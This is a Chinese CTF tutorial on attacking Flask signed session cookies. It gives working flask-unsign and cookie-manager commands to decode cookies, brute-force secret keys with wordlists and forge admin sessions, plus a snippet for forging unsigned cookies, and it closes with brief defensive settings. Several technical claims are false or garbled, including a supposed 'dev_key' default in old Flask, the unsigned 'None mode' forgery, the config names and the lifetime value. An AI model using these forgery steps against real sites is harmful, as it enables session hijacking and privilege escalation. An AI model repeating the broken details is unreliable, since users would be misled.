详细到不能再详细”的 Python Flask Session 完整解析 + CTF 实战全攻略,涵盖原理、源码、常见漏洞、攻击手法、防御方式、CTF 常见题型及解题思路。

一、Flask Session 工作原理(极详细)

1. Session 是怎么存的?

Flask 默认使用 itsdangerous 库来实现 Signed Cookie Session。

  • Session 数据全部存在客户端的 Cookie 中,名称默认为 session
  • 服务端不保存任何 Session 数据(无状态)
  • 数据格式:{真实session字典内容}.{时间戳(可选)}.{签名}
2. 签名机制(核心)

Flask 使用 SignedSerializer(继承自 itsdangerous),流程如下:

from itsdangerous import TimedJSONWebSignatureSerializer as Serializer
from itsdangerous import SignatureExpired, BadSignature

s = Serializer(secret_key, expires_in=xxx)
token = s.dumps(payload)          # 序列化 + 签名
payload = s.loads(token)          # 验证签名 + 反序列化

默认使用的是:

from itsdangerous.serializer import Serializer
from itsdangerous.url_safe import URLSafeTimedSerializer

Flask 1.0 以后默认使用 URLSafeTimedSerializer,签名算法是 HMAC-SHA1。

最终生成的 Cookie 结构(Base64 编码后用 . 分隔三段):

.base64(payload).base64(timestamp).base64(hmac-signature)

如果没有设置 SESSION_USE_SIGNER=True,早期版本可能没有时间戳,只有两段。

3. Flask 默认配置(非常重要!)
app.config.update(
    SECRET_KEY = '默认是None,生产必须改',
    SESSION_COOKIE_NAME = 'session',
    SESSION_COOKIE_HTTPONLY = True,
    SESSION_COOKIE_SECURE = False,     # http下也能传
    SESSION_COOKIE_SAMESITE = 'Lax',
    PERMANENT_SESSION_LIFETIME = 31,
)

如果你在 CTF 中看到源码里 SECRET_KEY 没改,或者是弱随机,那基本就凉了。

二、CTF 中最常见的 Flask Session 漏洞类型

1. Secret Key 泄露 / 弱密钥 / 可爆破

最常见!!!80% 的 Flask Session 题都是这个。

攻击方式:

  • 源码泄露(/flag.py、.git 泄露、备份文件)
  • 调试模式开启(app.debug = True → 看到 traceback 有 key)
  • Flask 1.0 之前的版本默认 key 是 dev_key,直接硬编码
  • key 是时间、用户名、固定字符串等可爆破内容

推荐工具:

  1. https://github.com/Paradoxis/Flask-Unsign (最推荐)
  2. https://github.com/noraj/flask-session-cookie-manager

解法工具:

# 最经典工具,安装及使用
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
python3 flask_session_cookie_manager.py decode -c "ey..."
python3 flask_session_cookie_manager.py encode -s "泄露的key" -t "{'username':'admin'}"


"""
这里有一个非常易报错的点:由于该脚本是用来伪造 Flask Session 的,而 Flask Session 解密后本质上就是 Python 的字典对象,所以输入时必须严格遵守 Python 语法:
- 1.`true` ➡️ 改为 `True`
- 2.`false` ➡️ 改为 `False`
- 3.`null` ➡️ 改为 `None`
举例:
{'_fresh':true,'_user_id':'1','role':'admin','user_id':1,'username':'admin'}
⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️修改为⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️⬇️
{'_fresh':True,'_user_id':'1','role':'admin','user_id':1,'username':'admin'}
==================因此更推荐使用flask-unsign,不会产生上述问题==================
"""

常用命令(flask-unsign)(最推荐):

# 安装方法一:核心功能 + 一个自带的常用密码字典文件
pip install flask-unsign[wordlist]

# 安装方法二:仅核心功能
pip install flask-unsign

# cookie解码
flask-unsign --decode --cookie 'ey...'

# 暴力破解密钥(使用自带的常用密码字典文件 wordlist)
flask-unsign --unsign --cookie 'ey...' 

# 指定超大字典爆破
flask-unsign --unsign --cookie 'ey...' --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# 编码新session
flask-unsign --sign --secret "found_key" --cookie "{'is_admin':True}"
2. None(无签名模式)伪造

如果源码里有:

app.config['SESSION_USE_SIGNER'] = False
# 或者
app.config['SECRET_KEY'] = None

那就完全不需要密钥,直接伪造任意内容!

伪造方式:

import base64, zlib, json
payload = {"username":"admin","is_admin":True}
data = base64.urlsafe_b64encode(zlib.compress(json.dumps(payload).encode())).rstrip(b'=').decode()
print("." + data)   # 直接把这个设为session cookie即可
3. itsdangerous ≤0.24 版本漏洞(CVE-2018-17175)

旧版本允许使用空密钥(“”)生成合法签名!

直接用:

flask-unsign --sign --secret "" --cookie "{'admin':1}"
4. Timestamp 绕过 / 时间戳伪造

TimedJSONWebSignatureSerializer 有时间戳,默认 3600s 过期。

如果题目没设置 expires_in,或者设置很大(31天),那基本无影响。

如果设置很短(比如60s),你可以:

  • 用旧的合法 cookie 抓包重放
  • 或者直接用找到的 key 重新签一个新的
5. Pickle 型 Session(极少见但致命)

如果题目用了自定义 SessionInterface 并且用了 pickle 序列化,那可能有反序列化 RCE。

Flask-Session + Redis/Memcached + pickle 就是经典 RCE 链。

三、CTF 实战解题全流程(模板)

  1. 先访问网站,看看有没有 session= 这个 cookie

  2. 把 cookie 复制出来,用 flask-session-cookie-manager 或者 flask-unsign 尝试 decode

    flask-unsign --decode --cookie 'ey...'
    

    → 如果能正常 decode,说明密钥没泄露,继续下一步
    → 如果报错 “BadSignature”,说明需要找 key

  3. 找密钥的常见位置(按优先级):

    • /debug、/console、/flask-debug(有些傻题直接开调试)
    • 源码泄露:.git、.env、config.py、app.py、flag.py
    • 页面源码、JS 文件、备份文件(app.py.bak、app.py~)
    • 题目描述、提示、标题里有暗示(比如 key 是当前时间戳)
    • 弱密钥:dev、changeme、secret、123456、题目名字
  4. 用 flask-unsign 爆破(推荐用 rockyou.txt:https://github.com/dw0rsec/rockyou.txt 或自定义字典)

    flask-unsign --unsign --cookie 'ey...' --wordlist rockyou.txt
    
  5. 找到 key 后,构造管理员 session:

    flask-unsign --sign --secret "found_key" --cookie "{'username':'admin','role':'admin'}"
    

    替换 cookie 再访问

  6. 如果是 None 模式或空密钥,直接按上面 None 方式伪造

四、CTF 中常见的 Session 字段(要改成 admin 的)

{'username': 'guest'}
{'user': 'guest'}
{'id': 2}
{'role': 'user'}
{'is_admin': False}
{'admin': 0}
{'logged_in': True, 'user': 'guest'}
{'user_id': 1}

五、防御建议(出题人/开发者看)

app.config.update(
    SECRET_KEY = os.urandom(24),      # 必须强随机
    SESSION_COOKIE_HTTPONLY = True,
    SESSION_COOKIE_SECURE = True,     # 强制HTTPS
    SESSION_COOKIE_SAMESITE = 'Strict',
)

永远不要把 SECRET_KEY 写死在代码里!

六、总结

CTF 里只要看到 Flask + session cookie,99% 的思路就是:

找到 SECRET_KEY → 用 flask-unsign 伪造管理员 cookie → 过

剩下 1% 是 None 模式、空密钥、pickle RCE。

掌握上面所有内容,Flask Session 题基本无敌了。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐